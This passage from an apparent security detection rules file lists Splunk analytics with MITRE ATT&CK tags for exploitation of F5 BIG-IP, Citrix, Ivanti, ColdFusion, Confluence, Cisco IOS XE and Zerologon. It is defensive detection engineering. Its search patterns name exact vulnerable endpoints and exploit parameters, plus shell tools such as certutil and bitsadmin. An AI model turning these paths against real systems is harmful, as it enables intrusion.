"risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "WinRM Spawning a Process", - "description": "The following analytic detects suspicious processes spawned by WinRM (wsmprovhost.exe). It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific child processes like cmd.exe, powershell.exe, and others. This activity is significant as it may indicate exploitation attempts of vulnerabilities like CVE-2021-31166, which could lead to system instability or compromise. If confirmed malicious, attackers could execute arbitrary commands, escalate privileges, or maintain persistence, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=wsmprovhost.exe Processes.process_name IN (\"cmd.exe\",\"sh.exe\",\"bash.exe\",\"powershell.exe\",\"pwsh.exe\",\"schtasks.exe\",\"certutil.exe\",\"whoami.exe\",\"bitsadmin.exe\",\"scp.exe\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winrm_spawning_a_process_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Rhysida Ransomware", - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Outbound LDAP Traffic", - "description": "The following analytic identifies outbound LDAP traffic to external IP addresses. It leverages the Network_Traffic data model to detect connections on ports 389 or 636 that are not directed to private IP ranges (RFC1918). This activity is significant because outbound LDAP traffic can indicate potential data exfiltration or unauthorized access attempts. If confirmed malicious, attackers could exploit this to access sensitive directory information, leading to data breaches or further network compromise.", - "search": "| tstats earliest(_time) as earliest_time latest(_time) as latest_time values(All_Traffic.dest_ip) as dest_ip from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port = 389 OR All_Traffic.dest_port = 636 AND NOT (All_Traffic.dest_ip = 10.0.0.0/8 OR All_Traffic.dest_ip=192.168.0.0/16 OR All_Traffic.dest_ip = 172.16.0.0/12) by All_Traffic.src_ip All_Traffic.dest_ip |`drop_dm_object_name(\"All_Traffic\")` | where src_ip != dest_ip | `security_content_ctime(latest_time)` | `security_content_ctime(earliest_time)` |`detect_outbound_ldap_traffic_filter`", - "tags": { - "analytic_story": [ - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "An outbound LDAP connection from $src_ip$ in your infrastructure connecting to dest ip $dest_ip$", - "risk_score": 56, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Detect Zerologon via Zeek", - "description": "The following analytic detects attempts to exploit the Zerologon CVE-2020-1472 vulnerability via Zeek RPC. It leverages Zeek DCE-RPC data to identify specific operations: NetrServerPasswordSet2, NetrServerReqChallenge, and NetrServerAuthenticate3. This activity is significant because it indicates an attempt to gain unauthorized access to a domain controller, potentially leading to a complete takeover of an organization's IT infrastructure. If confirmed malicious, the impact could be severe, including data theft, ransomware deployment, or other devastating outcomes. Immediate investigation of the identified IP addresses and RPC operations is crucial.", - "search": "`zeek_rpc` operation IN (NetrServerPasswordSet2,NetrServerReqChallenge,NetrServerAuthenticate3) | bin span=5m _time | stats values(operation) dc(operation) as opscount count(eval(operation==\"NetrServerReqChallenge\")) as challenge count(eval(operation==\"NetrServerAuthenticate3\")) as authcount count(eval(operation==\"NetrServerPasswordSet2\")) as passcount count as totalcount by _time,src_ip,dest_ip | search opscount=3 authcount>4 passcount>0 | search `detect_zerologon_via_zeek_filter`", - "tags": { - "analytic_story": [ - "Detect Zerologon Attack", - "Rhysida Ransomware" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "F5 BIG-IP iControl REST Vulnerability CVE-2022-1388", - "description": "The following analytic detects attempts to exploit the F5 BIG-IP iControl REST API vulnerability (CVE-2022-1388) for unauthenticated remote code execution. It identifies suspicious URI paths and POST HTTP methods, along with specific request headers containing potential commands in the `utilcmdargs` field and a random base64 encoded value in the `X-F5-Auth-Token` field. This activity is significant as it targets a critical vulnerability that can allow attackers to execute arbitrary commands on the affected system. If confirmed malicious, this could lead to full system compromise and unauthorized access to sensitive data.", - "search": "| tstats count from datamodel=Web where Web.url=\"*/mgmt/tm/util/bash*\" Web.http_method=\"POST\" by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `f5_big_ip_icontrol_rest_vulnerability_cve_2022_1388_filter`", - "tags": { - "analytic_story": [ - "F5 BIG-IP Vulnerability CVE-2022-1388" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An attempt to exploit CVE-2022-1388 against an F5 appliance $dest$ has occurred.", - "risk_score": 70, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Access to Vulnerable Ivanti Connect Secure Bookmark Endpoint", - "description": "The following analytic identifies access to the /api/v1/configuration/users/user-roles/user-role/rest-userrole1/web/web-bookmarks/bookmark endpoint, which is associated with CVE-2023-46805 and CVE-2024-21887 vulnerabilities. It detects this activity by monitoring for GET requests that receive a 403 Forbidden response with an empty body. This behavior is significant as it indicates potential exploitation attempts against Ivanti Connect Secure systems. If confirmed malicious, attackers could exploit these vulnerabilities to gain unauthorized access or control over the affected systems, leading to potential data breaches or system compromise.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url=\"*/api/v1/configuration/users/user-roles/user-role/rest-userrole1/web/web-bookmarks/bookmark*\" Web.http_method=GET Web.status=403 by Web.src, Web.dest, Web.http_user_agent, Web.status, Web.url source | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `access_to_vulnerable_ivanti_connect_secure_bookmark_endpoint_filter`", - "tags": { - "analytic_story": [ - "Ivanti Connect Secure VPN Vulnerabilities" - ], - "asset_type": "VPN Appliance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible exploitation of CVE-2023-46805 and CVE-2024-21887 against $dest$.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Adobe ColdFusion Access Control Bypass", - "description": "The following analytic detects potential exploitation attempts against Adobe ColdFusion vulnerabilities CVE-2023-29298 and CVE-2023-26360. It monitors requests to specific ColdFusion Administrator endpoints, especially those with an unexpected additional forward slash, using the Web datamodel. This activity is significant for a SOC as it indicates attempts to bypass access controls, which can lead to unauthorized access to ColdFusion administration endpoints. If confirmed malicious, this could result in data theft, brute force attacks, or further exploitation of other vulnerabilities, posing a serious security risk to the environment.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"//restplay*\", \"//CFIDE/restplay*\", \"//CFIDE/administrator*\", \"//CFIDE/adminapi*\", \"//CFIDE/main*\", \"//CFIDE/componentutils*\", \"//CFIDE/wizards*\", \"//CFIDE/servermanager*\",\"/restplay*\", \"/CFIDE/restplay*\", \"/CFIDE/administrator*\", \"/CFIDE/adminapi*\", \"/CFIDE/main*\", \"/CFIDE/componentutils*\", \"/CFIDE/wizards*\", \"/CFIDE/servermanager*\") Web.status=200 by Web.http_user_agent, Web.status, Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `adobe_coldfusion_access_control_bypass_filter`", - "tags": { - "analytic_story": [ - "Adobe ColdFusion Arbitrary Code Execution CVE-2023-29298 CVE-2023-26360" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible exploitation of CVE-2023-29298 against $dest$.", - "risk_score": 45, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Adobe ColdFusion Unauthenticated Arbitrary File Read", - "description": "The following analytic detects potential exploitation of the Adobe ColdFusion vulnerability, CVE-2023-26360, which allows unauthenticated arbitrary file read. It monitors web requests to the \"/cf_scripts/scripts/ajax/ckeditor/*\" path using the Web datamodel, focusing on specific ColdFusion paths to differentiate malicious activity from normal traffic. This activity is significant due to the vulnerability's high CVSS score of 9.8, indicating severe risk. If confirmed malicious, it could lead to unauthorized data access, further attacks, or severe operational disruptions, necessitating immediate investigation.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"/cf_scripts/scripts/ajax/ckeditor/*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `adobe_coldfusion_unauthenticated_arbitrary_file_read_filter`", - "tags": { - "analytic_story": [ - "Adobe ColdFusion Arbitrary Code Execution CVE-2023-29298 CVE-2023-26360" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible exploitation of CVE-2023-26360 against $dest$.", - "risk_score": 45, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Cisco IOS XE Implant Access", - "description": "The following analytic identifies the potential exploitation of a vulnerability (CVE-2023-20198) in the Web User Interface of Cisco IOS XE software. It detects suspicious account creation and subsequent actions, including the deployment of a non-persistent implant configuration file. The detection leverages the Web datamodel, focusing on specific URL patterns and HTTP methods. This activity is significant as it indicates unauthorized administrative access, which can lead to full control of the device. If confirmed malicious, attackers could maintain privileged access, compromising the device's integrity and security.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"/webui/logoutconfirm.html?logon_hash=*\") Web.http_method=POST Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `cisco_ios_xe_implant_access_filter`", - "tags": { - "analytic_story": [ - "Cisco IOS XE Software Web Management User Interface vulnerability" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible exploitation of CVE-2023-20198 against $dest$ by $src$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Citrix ADC and Gateway Unauthorized Data Disclosure", - "description": "The following analytic detects attempts to exploit the Citrix Bleed vulnerability (CVE-2023-4966), which can lead to the leaking of session tokens. It identifies HTTP requests with a 200 status code targeting the /oauth/idp/.well-known/openid-configuration URL endpoint. By parsing web traffic and filtering based on user agent details, HTTP method, source and destination IPs, and sourcetype, it aims to identify potentially malicious requests. This activity is significant for a SOC because successful exploitation can allow attackers to impersonate legitimate users, bypass authentication, and access sensitive data. If confirmed malicious, it could lead to unauthorized data access, network propagation, and critical information exfiltration.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/oauth/idp/.well-known/openid-configuration*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `citrix_adc_and_gateway_unauthorized_data_disclosure_filter`", - "tags": { - "analytic_story": [ - "Citrix NetScaler ADC and NetScaler Gateway CVE-2023-4966" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible exploitation of Citrix Bleed vulnerability against $dest$ fron $src$.", - "risk_score": 90, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Citrix ADC Exploitation CVE-2023-3519", - "description": "The following analytic identifies potential exploitation attempts against Citrix ADC related to CVE-2023-3519. It detects POST requests to specific web endpoints associated with this vulnerability by leveraging the Web datamodel. This activity is significant as CVE-2023-3519 involves a SAML processing overflow issue that can lead to memory corruption, posing a high risk. If confirmed malicious, attackers could exploit this to execute arbitrary code, escalate privileges, or disrupt services, making it crucial for SOC analysts to monitor and investigate these alerts promptly.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/saml/login\",\"/cgi/samlauth\",\"*/saml/activelogin\",\"/cgi/samlart?samlart=*\",\"*/cgi/logout\",\"/gwtest/formssso?event=start&target=*\",\"/netscaler/ns_gui/vpn/*\") Web.http_method=POST by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `citrix_adc_exploitation_cve_2023_3519_filter`", - "tags": { - "analytic_story": [ - "Citrix Netscaler ADC CVE-2023-3519" - ], - "asset_type": "Network", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible expliotation of CVE-2023-3519 against $dest$.", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Citrix ShareFile Exploitation CVE-2023-24489", - "description": "The following analytic detects potentially malicious file upload attempts to Citrix ShareFile via specific suspicious URLs and the HTTP POST method. It leverages the Web datamodel to identify URL patterns such as \"/documentum/upload.aspx?parentid=\", \"/documentum/upload.aspx?filename=\", and \"/documentum/upload.aspx?uploadId=*\", combined with the HTTP POST method. This activity is significant for a SOC as it may indicate an attempt to upload harmful scripts or content, potentially compromising the Documentum application. If confirmed malicious, this could lead to unauthorized access, data breaches, and operational disruptions.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url=\"/documentum/upload.aspx?*\" AND Web.url IN (\"*parentid=*\",\"*filename=*\",\"*uploadId=*\") AND Web.url IN (\"*unzip=*\", \"*raw=*\") Web.http_method=POST by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `citrix_sharefile_exploitation_cve_2023_24489_filter`", - "tags": { - "analytic_story": [ - "Citrix ShareFile RCE CVE-2023-24489" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible expliotation of CVE-2023-24489 against $dest$.", - "risk_score": 45, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Confluence CVE-2023-22515 Trigger Vulnerability", - "description": "The following analytic identifies potential exploitation attempts of the Confluence CVE-2023-22515 vulnerability. It detects successful accesses (HTTP status 200) to specific vulnerable endpoints by analyzing web logs within the Splunk 'Web' Data Model. This activity is significant for a SOC as it indicates possible privilege escalation attempts in Confluence. If confirmed malicious, attackers could gain unauthorized access or create accounts with escalated privileges, leading to potential data breaches or further exploitation within the environment.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false*\",\"*/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&*\") Web.http_method=GET Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `confluence_cve_2023_22515_trigger_vulnerability_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-22515 Privilege Escalation Vulnerability Confluence Data Center and Server" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential exploitation attempts on a known vulnerability in Atlassian Confluence detected. The source IP is $src$ and the destination hostname is $dest$.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile 